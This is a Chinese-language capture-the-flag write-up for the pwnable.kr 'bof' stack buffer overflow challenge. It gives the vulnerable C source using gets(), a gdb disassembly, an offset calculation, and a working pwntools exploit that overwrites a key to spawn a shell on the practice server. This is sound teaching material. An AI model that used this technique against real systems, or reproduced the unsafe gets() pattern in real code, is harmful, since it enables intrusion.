通过该题的下载链接下载到源码和编译后的程序,提示如下:

1
2
3
4
5
6
7
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

​ 题目代码如下 bof.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

​ 是一个很简单的栈溢出漏洞,把key的值替换为0xcagebabe即可成功flag,但是第一次使用gdb+pwotools来做题时,还是对一些分析流程以及偏移的计算不太熟练,尝试了很多次。

​ 拿到程序先用checksec来查看一下启用的保护,因为是练手程序,所以基本上所有保护都被关闭了,只开启了RELRO(只读保护),对栈利用无影响:

接下来就是调试算偏移,file加载bof到gdb,break func对存在溢出点的函数下断,run执行,成功断到func入口处,有两种算偏移的方法,如果熟悉汇编代码可以直接通过disassemble对func函数反编译,通过代码计算栈偏移即可,反编译后代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Dump of assembler code for function func:
=> 0x080491f6 <+0>: endbr32
0x080491fa <+4>: push ebp
0x080491fb <+5>: mov ebp,esp
0x080491fd <+7>: push ebx
0x080491fe <+8>: sub esp,0x24
0x08049201 <+11>: call 0x8049130 <__x86.get_pc_thunk.bx>
0x08049206 <+16>: add ebx,0x2dfa
0x0804920c <+22>: sub esp,0xc
0x0804920f <+25>: lea eax,[ebx-0x1ff8]
0x08049215 <+31>: push eax
0x08049216 <+32>: call 0x8049090 <printf@plt>
0x0804921b <+37>: add esp,0x10
0x0804921e <+40>: sub esp,0xc
0x08049221 <+43>: lea eax,[ebp-0x28]
0x08049224 <+46>: push eax
0x08049225 <+47>: call 0x80490a0 <gets@plt>
0x0804922a <+52>: add esp,0x10
0x0804922d <+55>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x08049234 <+62>: jne 0x804924a <func+84>
0x08049236 <+64>: sub esp,0xc
0x08049239 <+67>: lea eax,[ebx-0x1fe9]
0x0804923f <+73>: push eax
0x08049240 <+74>: call 0x80490c0 <system@plt>
0x08049245 <+79>: add esp,0x10
0x08049248 <+82>: jmp 0x804925c <func+102>
0x0804924a <+84>: sub esp,0xc
0x0804924d <+87>: lea eax,[ebx-0x1fe1]
0x08049253 <+93>: push eax
0x08049254 <+94>: call 0x80490b0 <puts@plt>
0x08049259 <+99>: add esp,0x10
0x0804925c <+102>: nop
0x0804925d <+103>: mov ebx,DWORD PTR [ebp-0x4]
0x08049260 <+106>: leave
0x08049261 <+107>: ret
End of assembler dump.

​ 可以看出来,要覆盖的key在ebp+0x8处,gets获取的字符串存储位置从ebp-0x28处开始,也就是偏移为0x30

​ 也可以通过对gets前下断,c运行到断点处,n继续运行键入AAAA作为标记然后查看内存来算出偏移。

使用pwntool进行远程漏洞利用

1
2
3
4
5
6
from pwn import *

if __name__ == "__main__":
c = remote("pwnable.kr",9000)
c.sendline(bytes("A",'latin-1')*0x30+p32(0xcafebabe))
c.interactive()